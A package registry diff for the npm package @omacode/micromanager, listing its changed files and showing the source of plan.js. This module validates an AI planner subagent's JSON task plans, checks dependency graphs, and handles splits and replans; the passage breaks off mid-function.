@omacode/micromanager 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (146) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +30 -2
  3. package/THIRD_PARTY.md +100 -0
  4. package/decider/.python-version +1 -0
  5. package/decider/README.md +35 -0
  6. package/decider/decider/__init__.py +1 -0
  7. package/decider/decider/server.py +327 -0
  8. package/decider/pyproject.toml +34 -0
  9. package/decider/uv.lock +1255 -0
  10. package/dist/agenda.js +51 -0
  11. package/dist/agents.js +58 -0
  12. package/dist/artifact/handoff.js +281 -0
  13. package/dist/ask.js +200 -0
  14. package/dist/backends.js +219 -0
  15. package/dist/backlog.js +414 -0
  16. package/dist/bench.js +427 -0
  17. package/dist/board.js +1 -0
  18. package/dist/brief.js +202 -0
  19. package/dist/browser.js +679 -0
  20. package/dist/budget.js +61 -0
  21. package/dist/catalog.js +187 -0
  22. package/dist/checkchange.js +145 -0
  23. package/dist/checkpoint.js +94 -0
  24. package/dist/cli.js +764 -0
  25. package/dist/comfy-gate.js +258 -0
  26. package/dist/compact.js +142 -0
  27. package/dist/config.js +344 -0
  28. package/dist/context/capture.js +1 -0
  29. package/dist/context/digest.js +1 -0
  30. package/dist/context/embed.js +1 -0
  31. package/dist/context/index.js +2 -0
  32. package/dist/context/ledger.js +1 -0
  33. package/dist/context/manager.js +1 -0
  34. package/dist/context/memory.js +1 -0
  35. package/dist/context/policy.js +1 -0
  36. package/dist/context/prices.js +1 -0
  37. package/dist/context/recall.js +1 -0
  38. package/dist/context/rules.js +1 -0
  39. package/dist/context/search.js +1 -0
  40. package/dist/context/status.js +1 -0
  41. package/dist/context/store.js +1 -0
  42. package/dist/context/summary.js +1 -0
  43. package/dist/context/tokens.js +1 -0
  44. package/dist/context/tools.js +1 -0
  45. package/dist/continuation.js +184 -0
  46. package/dist/contract.js +294 -0
  47. package/dist/contractround.js +178 -0
  48. package/dist/control.js +1 -0
  49. package/dist/creative-tools.js +237 -0
  50. package/dist/dataset.js +175 -0
  51. package/dist/decide.js +676 -0
  52. package/dist/decider.js +171 -0
  53. package/dist/design-shell.js +448 -0
  54. package/dist/design.js +1410 -0
  55. package/dist/desktop.js +44 -0
  56. package/dist/egress.js +156 -0
  57. package/dist/eval.js +60 -0
  58. package/dist/evolver.js +302 -0
  59. package/dist/features.js +193 -0
  60. package/dist/followups.js +32 -0
  61. package/dist/forms.js +195 -0
  62. package/dist/gate.js +108 -0
  63. package/dist/gatebox.js +46 -0
  64. package/dist/grants.js +189 -0
  65. package/dist/graph.js +65 -0
  66. package/dist/guard/index.js +1 -0
  67. package/dist/guard/wire.js +1 -0
  68. package/dist/helpers.js +85 -0
  69. package/dist/hooks.js +158 -0
  70. package/dist/image-models.js +117 -0
  71. package/dist/integration.js +3 -0
  72. package/dist/journal.js +1 -0
  73. package/dist/look.js +363 -0
  74. package/dist/memory.js +1 -0
  75. package/dist/mode.js +97 -0
  76. package/dist/native.js +3348 -0
  77. package/dist/nogit.js +259 -0
  78. package/dist/outcomes.js +148 -0
  79. package/dist/permission.js +35 -0
  80. package/dist/pick.js +89 -0
  81. package/dist/pipelines.js +262 -0
  82. package/dist/plan.js +641 -0
  83. package/dist/plandoc.js +211 -0
  84. package/dist/plugin.js +4736 -0
  85. package/dist/policy.js +58 -0
  86. package/dist/pools.js +1 -0
  87. package/dist/preview.js +274 -0
  88. package/dist/profile.js +165 -0
  89. package/dist/progress.js +1 -0
  90. package/dist/promote.js +313 -0
  91. package/dist/redact.js +1 -0
  92. package/dist/registry.js +179 -0
  93. package/dist/riskscore.js +126 -0
  94. package/dist/roles.js +1 -0
  95. package/dist/routing.js +1 -0
  96. package/dist/runner.js +1892 -0
  97. package/dist/sandbox.js +3 -0
  98. package/dist/sandboxgate.js +90 -0
  99. package/dist/scheduler.js +170 -0
  100. package/dist/services-main.js +131 -0
  101. package/dist/services.js +265 -0
  102. package/dist/session.js +241 -0
  103. package/dist/setup.js +423 -0
  104. package/dist/shell/decide.js +1 -0
  105. package/dist/shell/index.js +2 -0
  106. package/dist/shell/sandbox.js +1 -0
  107. package/dist/shell/wire.js +1 -0
  108. package/dist/skills.js +103 -0
  109. package/dist/state.js +1 -0
  110. package/dist/store.js +1 -0
  111. package/dist/switcher.js +1 -0
  112. package/dist/synth.js +418 -0
  113. package/dist/tools.js +477 -0
  114. package/dist/trials.js +223 -0
  115. package/dist/usage.js +1 -0
  116. package/dist/wait.js +167 -0
  117. package/dist/watchdog.js +476 -0
  118. package/dist/web-guidance.js +43 -0
  119. package/dist/which.js +20 -0
  120. package/dist/worktree/git.js +545 -0
  121. package/dist/writeguard.js +311 -0
  122. package/evolver/mm_evolve/__init__.py +1 -0
  123. package/evolver/mm_evolve/entry.py +3 -0
  124. package/evolver/mm_evolve/evaluator.py +119 -0
  125. package/evolver/mm_evolve/llm.py +76 -0
  126. package/evolver/mm_evolve/run.py +89 -0
  127. package/evolver/mm_evolve/spec.py +62 -0
  128. package/evolver/pyproject.toml +21 -0
  129. package/evolver/uv.lock +772 -0
  130. package/package.json +74 -4
  131. package/skills/THIRD_PARTY.md +58 -0
  132. package/skills/code-review/SKILL.md +46 -0
  133. package/skills/deck/SKILL.md +98 -0
  134. package/skills/deliberate/SKILL.md +39 -0
  135. package/skills/design/SKILL.md +150 -0
  136. package/skills/diagnosing-bugs/SKILL.md +75 -0
  137. package/skills/image/SKILL.md +66 -0
  138. package/skills/orchestrator/SKILL.md +107 -0
  139. package/skills/receiving-code-review/SKILL.md +36 -0
  140. package/skills/research/SKILL.md +18 -0
  141. package/skills/tdd/SKILL.md +56 -0
  142. package/skills/tdd/mocking.md +59 -0
  143. package/skills/tdd/tests.md +77 -0
  144. package/skills/verification-before-completion/SKILL.md +50 -0
  145. package/skills/video/SKILL.md +97 -0
  146. package/skills/web/SKILL.md +60 -0
package/dist/plan.js ADDED
@@ -0,0 +1,641 @@
1
+ // The planner subagent's plan: parsed from its final message, validated by code, turned into tasks
2
+ // (design.md §7). The planner writes; code decides whether the plan is usable.
3
+ import { isAbsolute, resolve, sep } from "node:path";
4
+ import { hardRule } from "./decide.js";
5
+ import { MICROMANAGER, roleById } from "./roles.js";
6
+ import { DEFAULT_PRIORITY, isDone } from "./state.js";
7
+ import { STATE_DIRS } from "@omacode/core/paths";
8
+ import { TIERS } from "@omacode/state/routing";
9
+ // Roles that change files must declare what they write, so parallel safety and review have a scope. An investigator
10
+ // declares the draft and findings files it writes, so two investigators in parallel cannot collide.
11
+ const WRITERS = new Set(["code", "test", "visual", "write", "debug", "investigator"]);
12
+ const ID = /^[A-Za-z][\w.-]{0,31}$/;
13
+ // The JSON object in the message: the last ```json fence, else the outermost {...}.
14
+ export function extractJson(text) {
15
+ const fences = [...text.matchAll(/```(?:json)?\s*\n([\s\S]*?)```/g)].map((m) => m[1] ?? "");
16
+ const fenced = fences.reverse().find((f) => f.trim().startsWith("{"));
17
+ if (fenced)
18
+ return fenced;
19
+ const start = text.indexOf("{");
20
+ const end = text.lastIndexOf("}");
21
+ return start >= 0 && end > start ? text.slice(start, end + 1) : undefined;
22
+ }
23
+ const strings = (v) => Array.isArray(v) && v.every((x) => typeof x === "string") ? v : undefined;
24
+ export function parsePlan(text) {
25
+ const json = extractJson(text);
26
+ if (!json)
27
+ return { errors: ["no JSON object found"] };
28
+ let raw;
29
+ try {
30
+ raw = JSON.parse(json);
31
+ }
32
+ catch (err) {
33
+ return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] };
34
+ }
35
+ const errors = [];
36
+ if (!Array.isArray(raw.acceptance) || raw.acceptance.length === 0)
37
+ errors.push("acceptance: a non-empty list is required");
38
+ const acceptance = parseAcceptance(raw.acceptance, errors);
39
+ if (!Array.isArray(raw.tasks) || raw.tasks.length === 0)
40
+ errors.push("tasks: a non-empty list is required");
41
+ const tasks = parseTasks(raw.tasks, errors);
42
+ errors.push(...checkGraph(acceptance, tasks));
43
+ return errors.length > 0 ? { errors } : { plan: { acceptance, tasks } };
44
+ }
45
+ function parseTasks(raw, errors) {
46
+ const tasks = [];
47
+ for (const [i, t] of (Array.isArray(raw) ? raw : []).entries()) {
48
+ const item = t;
49
+ const where = `tasks[${i}]${typeof item.id === "string" ? ` (${item.id})` : ""}`;
50
+ const acc = strings(item.acceptance ?? []);
51
+ const deps = strings(item.dependsOn ?? []);
52
+ const files = strings(item.files ?? []);
53
+ const wanted = typeof item.tier === "string" ? item.tier : typeof item.difficulty === "string" ? item.difficulty : undefined;
54
+ const tier = wanted && TIERS.includes(wanted) ? wanted : undefined;
55
+ if (wanted !== undefined && !tier)
56
+ errors.push(`${where}: difficulty must be easy, medium or hard`);
57
+ const rawRepo = typeof item.repo === "string" ? item.repo.trim().replace(/^\.\/+/, "").replace(/\/+$/, "") : undefined;
58
+ const repo = rawRepo && !rawRepo.startsWith("/") && !rawRepo.split("/").includes("..") ? rawRepo : undefined;
59
+ if (rawRepo && !repo)
60
+ errors.push(`${where}: repo must be a relative path inside the folder`);
61
+ const reviews = item.reviews === undefined ? [] : strings(item.reviews);
62
+ if (!reviews)
63
+ errors.push(`${where}: reviews must be a list of task ids (or "plan")`);
64
+ if (typeof item.id !== "string" || !ID.test(item.id))
65
+ errors.push(`${where}: needs an id (letters, digits, . _ -)`);
66
+ if (typeof item.title !== "string" || !item.title.trim())
67
+ errors.push(`${where}: needs a title`);
68
+ if (typeof item.role !== "string" || !roleById(item.role))
69
+ errors.push(`${where}: unknown role ${JSON.stringify(item.role)}`);
70
+ if (!acc || !deps || !files)
71
+ errors.push(`${where}: acceptance, dependsOn and files must be lists of strings`);
72
+ if (typeof item.id !== "string" || typeof item.title !== "string" || typeof item.role !== "string" || !acc || !deps || !files)
73
+ continue;
74
+ tasks.push({
75
+ id: item.id,
76
+ title: item.title,
77
+ description: typeof item.description === "string" ? item.description : "",
78
+ role: item.role,
79
+ acceptance: acc,
80
+ dependsOn: deps,
81
+ files,
82
+ ...(typeof item.priority === "number" && item.priority >= 1 && item.priority <= 5 ? { priority: Math.round(item.priority) } : {}),
83
+ ...(tier ? { tier } : {}),
84
+ ...(repo ? { repo } : {}),
85
+ ...(reviews && reviews.length ? { reviews } : {}),
86
+ ...(typeof item.optimize === "boolean" ? { optimize: item.optimize } : {}),
87
+ });
88
+ }
89
+ return tasks;
90
+ }
91
+ function parseAcceptance(raw, errors) {
92
+ const out = [];
93
+ for (const [i, a] of (Array.isArray(raw) ? raw : []).entries()) {
94
+ const item = a;
95
+ if (typeof item.id !== "string" || !ID.test(item.id) || typeof item.text !== "string" || !item.text.trim()) {
96
+ errors.push(`acceptance[${i}]: needs an id and a text`);
97
+ continue;
98
+ }
99
+ out.push({ id: item.id, text: item.text, verify: typeof item.verify === "string" && item.verify.trim() ? item.verify : undefined });
100
+ }
101
+ return out;
102
+ }
103
+ function checkGraph(acceptance, tasks) {
104
+ const errors = [];
105
+ const ids = new Set();
106
+ for (const t of tasks) {
107
+ if (ids.has(t.id))
108
+ errors.push(`task ${t.id}: duplicate id`);
109
+ ids.add(t.id);
110
+ }
111
+ const accIds = new Set(acceptance.map((a) => a.id));
112
+ if (accIds.size !== acceptance.length)
113
+ errors.push("acceptance: duplicate id");
114
+ const covered = new Set();
115
+ for (const t of tasks) {
116
+ for (const d of t.dependsOn)
117
+ if (!ids.has(d))
118
+ errors.push(`task ${t.id}: depends on unknown task ${d}`);
119
+ for (const a of t.acceptance) {
120
+ if (!accIds.has(a))
121
+ errors.push(`task ${t.id}: unknown acceptance point ${a}`);
122
+ covered.add(a);
123
+ }
124
+ if (t.acceptance.length === 0)
125
+ errors.push(`task ${t.id}: needs at least one acceptance point`);
126
+ if (WRITERS.has(t.role) && t.files.length === 0)
127
+ errors.push(`task ${t.id}: role ${t.role} writes, so it must declare files`);
128
+ }
129
+ for (const a of acceptance)
130
+ if (!covered.has(a.id))
131
+ errors.push(`acceptance ${a.id}: no task covers it`);
132
+ const cycle = findCycle(tasks);
133
+ if (cycle)
134
+ errors.push(`dependency cycle: ${cycle.join(" -> ")}`);
135
+ return errors;
136
+ }
137
+ function findCycle(tasks) {
138
+ const deps = new Map(tasks.map((t) => [t.id, t.dependsOn]));
139
+ const state = new Map();
140
+ const path = [];
141
+ const visit = (id) => {
142
+ if (state.get(id) === "done")
143
+ return undefined;
144
+ if (state.get(id) === "visiting")
145
+ return [...path.slice(path.indexOf(id)), id];
146
+ state.set(id, "visiting");
147
+ path.push(id);
148
+ for (const d of deps.get(id) ?? []) {
149
+ if (!deps.has(d))
150
+ continue;
151
+ const found = visit(d);
152
+ if (found)
153
+ return found;
154
+ }
155
+ path.pop();
156
+ state.set(id, "done");
157
+ return undefined;
158
+ };
159
+ for (const t of tasks) {
160
+ const found = visit(t.id);
161
+ if (found)
162
+ return found;
163
+ }
164
+ return undefined;
165
+ }
166
+ // Wave = length of the longest dependency chain below a task; tasks of one wave may run in parallel.
167
+ export function waves(tasks) {
168
+ const deps = new Map(tasks.map((t) => [t.id, t.dependsOn]));
169
+ const memo = new Map();
170
+ const wave = (id) => {
171
+ const known = memo.get(id);
172
+ if (known !== undefined)
173
+ return known;
174
+ const w = Math.max(0, ...(deps.get(id) ?? []).map((d) => wave(d) + 1));
175
+ memo.set(id, w);
176
+ return w;
177
+ };
178
+ return new Map(tasks.map((t) => [t.id, wave(t.id)]));
179
+ }
180
+ // Pattern 2: a coupled same-file chain — writer task B whose every file is already A's, one step after A — is one piece
181
+ // of work split in two, and splitting it only adds handoffs and a second review. Coalesce B into A (iteratively, so a
182
+ // whole chain folds into its head) when the merge cannot change concurrency:
183
+ // 1. A and B are the same writer role (both change files),
184
+ // 2. they work in the same repo and under the same parent (one lane),
185
+ // 3. B waits for A alone,
186
+ // 4. no third task waits for A (a sibling that could run beside B today must not be made to wait for B's work),
187
+ // 5. B's files are all A's already (a tightly coupled same-file sequential chain).
188
+ // `merged` records every absorption ({into, absorbed}). The caller runs this on planner output before applyPlan;
189
+ // parsePlan itself never rewrites the graph.
190
+ export function coalesceCoupledTasks(plan) {
191
+ const merged = [];
192
+ let tasks = [...plan.tasks];
193
+ for (;;) {
194
+ const pair = firstCoupled(tasks);
195
+ if (!pair)
196
+ break;
197
+ const { a, b } = pair;
198
+ const into = absorbCoupled(a, b);
199
+ tasks = tasks.flatMap((t) => (t.id === b.id ? [] : t.id === a.id ? [into] : [rewireRef(t, b.id, a.id)]));
200
+ merged.push({ into: a.id, absorbed: b.id });
201
+ }
202
+ return { plan: { acceptance: plan.acceptance, tasks }, merged };
203
+ }
204
+ function firstCoupled(tasks) {
205
+ for (const a of tasks) {
206
+ for (const b of tasks) {
207
+ if (a.id === b.id)
208
+ continue;
209
+ if (!WRITERS.has(a.role) || a.role !== b.role)
210
+ continue; // 1
211
+ if ((a.repo ?? "") !== (b.repo ?? "") || (a.parent ?? "") !== (b.parent ?? ""))
212
+ continue; // 2
213
+ if (b.dependsOn.length !== 1 || b.dependsOn[0] !== a.id)
214
+ continue; // 3
215
+ if (tasks.some((x) => x.id !== a.id && x.id !== b.id && x.dependsOn.includes(a.id)))
216
+ continue; // 4
217
+ if (b.files.length === 0 || a.files.length === 0)
218
+ continue; // 5
219
+ if (!b.files.every((f) => a.files.includes(f)))
220
+ continue;
221
+ return { a, b };
222
+ }
223
+ }
224
+ return undefined;
225
+ }
226
+ const TIER_RANK = { easy: 1, medium: 2, hard: 3 };
227
+ function absorbCoupled(a, b) {
228
+ // The deduplicated union of both, without either task naming itself; the higher tier and the earlier priority win.
229
+ const union = (...lists) => [...new Set(lists.flatMap((l) => l ?? []))].filter((x) => x !== a.id && x !== b.id);
230
+ const tier = [a.tier, b.tier].filter((t) => t !== undefined).sort((x, y) => TIER_RANK[y] - TIER_RANK[x])[0];
231
+ const reviews = union(a.reviews, b.reviews);
232
+ return {
233
+ ...a,
234
+ title: `${a.title}; ${b.title}`,
235
+ description: `${a.description}\n\nThen: ${b.description}`,
236
+ acceptance: union(a.acceptance, b.acceptance),
237
+ files: union(a.files, b.files),
238
+ ...(reviews.length ? { reviews } : {}),
239
+ ...(tier ? { tier } : {}),
240
+ priority: Math.min(a.priority ?? DEFAULT_PRIORITY, b.priority ?? DEFAULT_PRIORITY),
241
+ ...(a.optimize || b.optimize ? { optimize: true } : {}),
242
+ };
243
+ }
244
+ // Whatever referred to the absorbed B now refers to A, once each: its dependents and reviewers follow it into A.
245
+ function rewireRef(t, from, to) {
246
+ const reroute = (xs) => [...new Set(xs.map((x) => (x === from ? to : x)))];
247
+ return {
248
+ ...t,
249
+ dependsOn: reroute(t.dependsOn),
250
+ ...(t.reviews ? { reviews: reroute(t.reviews) } : {}),
251
+ };
252
+ }
253
+ // Puts a validated plan into the job: acceptance points and pending tasks.
254
+ export function applyPlan(job, plan) {
255
+ const w = waves(plan.tasks);
256
+ job.acceptance = [...plan.acceptance];
257
+ job.tasks = plan.tasks.map((t) => ({
258
+ id: t.id,
259
+ title: t.title,
260
+ description: t.description,
261
+ role: t.role,
262
+ acceptance: [...t.acceptance],
263
+ dependsOn: [...t.dependsOn],
264
+ files: [...t.files],
265
+ wave: w.get(t.id) ?? 0,
266
+ ...(t.parent ? { parent: t.parent } : {}),
267
+ ...(t.tier ? { tier: t.tier } : {}),
268
+ ...(t.repo ? { repo: t.repo } : {}),
269
+ ...(t.reviews?.length ? { reviews: [...t.reviews] } : {}),
270
+ ...(t.optimize !== undefined ? { optimize: t.optimize } : {}),
271
+ priority: t.priority ?? DEFAULT_PRIORITY,
272
+ origin: t.parent ? "split" : "plan",
273
+ status: "pending",
274
+ attempts: 0,
275
+ stages: [],
276
+ signatures: [],
277
+ }));
278
+ }
279
+ // What the planner is told to return; kept next to the parser so both change together.
280
+ export const PLAN_FORMAT = `Answer with one JSON object in a \`\`\`json fence, nothing else after it:
281
+ {
282
+ "acceptance": [{ "id": "A1", "text": "what must hold", "verify": "a shell command that exits 0 when it holds (optional)" }],
283
+ "tasks": [{
284
+ "id": "T1",
285
+ "title": "short title",
286
+ "description": "what to do, for a worker that knows nothing else",
287
+ "role": "explore | research | plan | code | test | visual | write | debug | review | oracle",
288
+ "acceptance": ["A1"],
289
+ "dependsOn": [],
290
+ "files": ["paths this task may change; empty for read-only roles"],
291
+ "priority": 3,
292
+ "difficulty": "easy | medium | hard",
293
+ "repo": "repos/a/", // only in a workspace folder, and only when the task lives in another repository
294
+ "reviews": ["T1"], // only on a review task: the tasks it checks, or ["plan"] to check the plan itself
295
+ "optimize": true // optional, only on a hot-path writer task the post-green optimization pass may rewrite
296
+ }]
297
+ }
298
+ Rules: use the fewest independently verifiable tasks—do not split one coherent artifact merely to make tasks smaller;
299
+ never split sequential edits to the same file across chained writer tasks: coalesce coupled same-file steps into one
300
+ writer task. Parallel writer tasks declare strictly non-overlapping files: a file listed in one task appears in no
301
+ other task that may run beside it. Every acceptance point is covered by a task; a task that changes files lists them;
302
+ no dependency cycles.
303
+ A review task is the exception, not the rule: add one only for a public API or data-security change, a task with no
304
+ verifying check, or a hard change whose result is easy to get wrong; a straight task whose checks pass needs none.
305
+ A review task names its subjects in "reviews", depends on them, changes no files, and is never reviewed itself.
306
+ Do not review the plan unless the user asks for it; then use one review task with "reviews": ["plan"].
307
+ Priority is 1 (do first) to 5 (do last), 3 when nothing stands out; among ready tasks the lower number runs first.
308
+ Difficulty says which model pool the task draws from: easy for mechanical edits and reads, medium for ordinary work,
309
+ hard for design, subtle debugging or work that must reason across several files.
310
+ "optimize": true marks a hot-path writer task as a candidate for the post-green optimization pass; leave it off unless
311
+ the task's files sit on a measured hot path (the pass runs after the functional checks, and keeps only real gains).
312
+ When the folder holds several repositories, every task names exactly one repo from the list the prompt gives; a task that
313
+ would touch two repositories is split into one task per repository.`;
314
+ // --- N4: splitting tasks (design.md §7) -------------------------------------------------------------------
315
+ export const MAX_SPLIT_LEVEL = 2;
316
+ // Plan mode's tasks change nothing of the project: the writers are investigators, who write only in their own plan
317
+ // worktree, and everything else reads. Without this line the planner never names the role, and a plan job could not be
318
+ // planned at all (A1-T5).
319
+ export function planModeRoles(job) {
320
+ return job.isolation === "plan"
321
+ ? `\nThis is a plan job: no task changes the project. A task that must write drafts in its own plan worktree gets the role "investigator" (it lists the files it writes); every other task is "explore", "research" or "plan".`
322
+ : "";
323
+ }
324
+ // A1-T7, the fail-closed rule: with no sandbox a plan job's writers may not start, so it runs reader-only. The job
325
+ // says so wherever the user looks: plan.md carries this line (A1-T8 writes the file), and job_status puts it first.
326
+ export function readerOnlyNote(job) {
327
+ return job.planReaderOnly
328
+ ? "\nThis job ran reader-only: no sandbox on this machine, so no investigator changed or wrote anything."
329
+ : "";
330
+ }
331
+ export function splitFormat(ids) {
332
+ return `Split these tasks into smaller ones: ${ids.join(", ")}.
333
+ Answer with one JSON object in a \`\`\`json fence, nothing else after it:
334
+ {
335
+ "acceptance": [{ "id": "A7", "text": "...", "verify": "..." }],
336
+ "splits": { "${ids[0] ?? "T1"}": [{ "id": "${ids[0] ?? "T1"}.1", "title": "...", "description": "...", "role": "...", "acceptance": ["A1"], "dependsOn": [], "files": ["..."] }] }
337
+ }
338
+ Rules: each split task becomes at least two tasks with ids "<task>.1", "<task>.2", …; each is a vertical slice with its
339
+ own acceptance point (reuse the task's points or add new ones under "acceptance"), changes only files of the task it
340
+ comes from, and may depend on its siblings and on the tasks the original depended on. Together they cover all of the
341
+ original's acceptance points. Do not split a task when the parts could only be checked together.`;
342
+ }
343
+ // Puts the planner's splits into the plan: children replace their parent, tasks that waited for the parent wait for
344
+ // its last children. Code re-validates the whole graph.
345
+ export function applySplits(plan, text, asked) {
346
+ const json = extractJson(text);
347
+ if (!json)
348
+ return { errors: ["no JSON object found"] };
349
+ let raw;
350
+ try {
351
+ raw = JSON.parse(json);
352
+ }
353
+ catch (err) {
354
+ return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] };
355
+ }
356
+ const errors = [];
357
+ const added = parseAcceptance(raw.acceptance, errors);
358
+ const splits = raw.splits && typeof raw.splits === "object" ? raw.splits : {};
359
+ const children = new Map();
360
+ for (const [parentId, list] of Object.entries(splits)) {
361
+ const parent = plan.tasks.find((t) => t.id === parentId);
362
+ if (!parent || !asked.includes(parentId)) {
363
+ errors.push(`splits.${parentId}: not one of the tasks to split`);
364
+ continue;
365
+ }
366
+ const kidErrors = [];
367
+ const kids = parseTasks(list, kidErrors);
368
+ errors.push(...kidErrors.map((e) => `splits.${parentId}: ${e}`));
369
+ if (!Array.isArray(list) || list.length < 2)
370
+ errors.push(`splits.${parentId}: a split needs at least two tasks`);
371
+ for (const k of kids) {
372
+ if (!k.id.startsWith(`${parentId}.`))
373
+ errors.push(`splits.${parentId}: ${k.id} must be named ${parentId}.<n>`);
374
+ if (parent.files.length && k.files.some((f) => !parent.files.includes(f)))
375
+ errors.push(`splits.${parentId}: ${k.id} changes files outside ${parentId}'s`);
376
+ }
377
+ const covered = new Set(kids.flatMap((k) => k.acceptance));
378
+ for (const a of parent.acceptance)
379
+ if (!covered.has(a))
380
+ errors.push(`splits.${parentId}: no part covers ${a}`);
381
+ if (kids.length >= 2 && kids.every((k) => k.files.join() === kids[0].files.join() && k.acceptance.join() === kids[0].acceptance.join())) {
382
+ errors.push(`splits.${parentId}: the parts share files and acceptance points, so the split only adds coordination`);
383
+ }
384
+ children.set(parentId, kids);
385
+ }
386
+ if (errors.length)
387
+ return { errors };
388
+ // The last children of a split: the ones no sibling depends on.
389
+ const sinks = (id) => {
390
+ const kids = children.get(id);
391
+ return kids.filter((k) => !kids.some((o) => o.dependsOn.includes(k.id))).map((k) => k.id);
392
+ };
393
+ const rewire = (deps) => deps.flatMap((d) => (children.has(d) ? sinks(d) : [d]));
394
+ const tasks = plan.tasks.flatMap((t) => children.has(t.id)
395
+ ? children.get(t.id).map((k) => ({ ...k, parent: t.id, ...((k.tier ?? t.tier) ? { tier: k.tier ?? t.tier } : {}), ...((k.repo ?? t.repo) ? { repo: k.repo ?? t.repo } : {}), dependsOn: [...new Set([...rewire(k.dependsOn), ...rewire(t.dependsOn)])] }))
396
+ : [{ ...t, dependsOn: rewire(t.dependsOn) }]);
397
+ const acceptance = [...plan.acceptance, ...added];
398
+ const graph = checkGraph(acceptance, tasks);
399
+ return graph.length ? { errors: graph } : { plan: { acceptance, tasks } };
400
+ }
401
+ // --- N7: a worker's follow-up becomes a task (design.md §8) --------------------------------------------------
402
+ // The task a follow-up becomes: a code task on the files it names, with its own acceptance point, after the task
403
+ // that found it. Code builds it (no planner call); N5 classifies it like any other task when it is dispatched.
404
+ // Returns the errors instead when the job's graph would break.
405
+ export function addDiscovered(job, from, item, priority) {
406
+ const n = job.tasks.filter((t) => t.id.startsWith(`${from.id}.d`)).length + 1;
407
+ const point = `A${Math.max(0, ...job.acceptance.map((a) => Number(a.id.match(/^A(\d+)$/)?.[1] ?? 0))) + 1}`;
408
+ const task = {
409
+ id: `${from.id}.d${n}`,
410
+ title: item.what.slice(0, 120),
411
+ description: `Found while doing ${from.id} (${from.title}): ${item.what}. Why: ${item.why}`,
412
+ role: "code",
413
+ acceptance: [point],
414
+ dependsOn: [from.id],
415
+ files: [...item.files],
416
+ wave: from.wave + 1,
417
+ status: "pending",
418
+ attempts: 0,
419
+ stages: [],
420
+ signatures: [],
421
+ priority,
422
+ origin: "discovered",
423
+ };
424
+ const acceptance = [...job.acceptance, { id: point, text: item.what }];
425
+ const errors = checkGraph(acceptance, [...job.tasks.map(asPlanned), asPlanned(task)]);
426
+ if (errors.length)
427
+ return { errors };
428
+ job.acceptance = acceptance;
429
+ job.tasks.push(task);
430
+ return { task };
431
+ }
432
+ const asPlanned = (t) => ({ id: t.id, title: t.title, description: t.description, role: t.role, acceptance: t.acceptance, dependsOn: t.dependsOn, files: t.files, ...(t.tier ? { tier: t.tier } : {}), ...(t.repo ? { repo: t.repo } : {}), ...(t.reviews?.length ? { reviews: t.reviews } : {}) });
433
+ // --- replan (design.md §10.2, Magentic-One) -----------------------------------------------------------------
434
+ export function replanFormat(job) {
435
+ const done = job.tasks.filter(isDone);
436
+ const open = job.tasks.filter((t) => !isDone(t) && t.status !== "cancelled");
437
+ // A 99-task job has 99 acceptance points and dozens of done tasks; repeating all of them in the replan prompt hides
438
+ // the ones that matter. Show the recent tail and count the rest.
439
+ const doneText = done.length ? `${done.slice(-20).map((t) => `${t.id} ${t.title}`).join("; ")}${done.length > 20 ? `; … and ${done.length - 20} earlier` : ""}` : "none";
440
+ const openText = open.length ? `${open.slice(0, 30).map((t) => `- ${t.id} [${t.role}] ${t.title} (${t.status}${t.stages.length ? `; last: ${t.stages.at(-1).stage} ${t.stages.at(-1).result}${t.stages.at(-1).evidence ? `: ${t.stages.at(-1).evidence.slice(0, 200)}` : ""}` : ""})`).join("\n")}${open.length > 30 ? `\n- … and ${open.length - 30} more open tasks` : ""}` : "- none";
441
+ const acceptanceText = job.acceptance.slice(0, 20).map((a) => `${a.id}: ${a.text}${a.verify ? ` (verify: ${a.verify})` : ""}`).join("; ");
442
+ return `The job is stalled. Rewrite the unfinished part of the plan.
443
+
444
+ Done (keep, do not repeat; new tasks may depend on them): ${doneText}
445
+ Unfinished (these are replaced by your tasks):
446
+ ${openText}
447
+ What went wrong so far: ${job.lessons.slice(-5).join("; ") || "nothing recorded"}
448
+ Acceptance points: ${acceptanceText}${job.acceptance.length > 20 ? `; … and ${job.acceptance.length - 20} more` : ""}
449
+
450
+ First find the root cause of the stall from the facts above; then plan around it, e.g. a smaller step, another
451
+ order, or a task that removes the obstacle. Use new task ids that are not used yet; you may add acceptance points with
452
+ new ids, and keep the verify commands of existing ones.
453
+ ${PLAN_FORMAT.replace('"acceptance": [{', '"acceptance": [(only new points) {')}${planModeRoles(job)}`;
454
+ }
455
+ // Replaces the unfinished tasks with the planner's new ones; done tasks and their commits stay. The old unfinished
456
+ // tasks are cancelled, so their history stays in the job file.
457
+ export function applyReplan(job, text) {
458
+ const json = extractJson(text);
459
+ if (!json)
460
+ return { errors: ["no JSON object found"] };
461
+ let raw;
462
+ try {
463
+ raw = JSON.parse(json);
464
+ }
465
+ catch (err) {
466
+ return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] };
467
+ }
468
+ const errors = [];
469
+ const added = parseAcceptance(raw.acceptance ?? [], errors).filter((a) => !job.acceptance.some((x) => x.id === a.id));
470
+ if (!Array.isArray(raw.tasks) || raw.tasks.length === 0)
471
+ errors.push("tasks: a non-empty list is required");
472
+ const fresh = parseTasks(raw.tasks, errors);
473
+ const used = new Set(job.tasks.map((t) => t.id));
474
+ for (const t of fresh)
475
+ if (used.has(t.id))
476
+ errors.push(`task ${t.id}: id already used; pick a new one`);
477
+ const done = job.tasks.filter(isDone).map(asPlanned);
478
+ const acceptance = [...job.acceptance, ...added];
479
+ errors.push(...checkGraph(acceptance, [...done, ...fresh]));
480
+ return errors.length ? { errors } : { plan: { acceptance, tasks: fresh } };
481
+ }
482
+ // The acceptance text of an ad-hoc delegation: the first meaningful line of its brief, not the bare title. With one
483
+ // title-text point per task, a 99-task job accumulated 99 points and the digest/replan prompt repeated all of them.
484
+ export function acceptanceText(title, prompt) {
485
+ const line = prompt
486
+ .split("\n")
487
+ .map((l) => l.trim())
488
+ .find((l) => l && !/^(task|files|checks|goal|replaces|frozen|contract|method|pick|preview|attempt):/i.test(l));
489
+ const text = (line && line.length > 8 ? line : title).trim();
490
+ return text.slice(0, 240);
491
+ }
492
+ // The task a delegation becomes: a code task when it names files, an explore task when not (N5 may pick another role
493
+ // when it is dispatched); its checks are its acceptance point. Returns the errors instead when the graph would break.
494
+ export function addDelegated(job, d) {
495
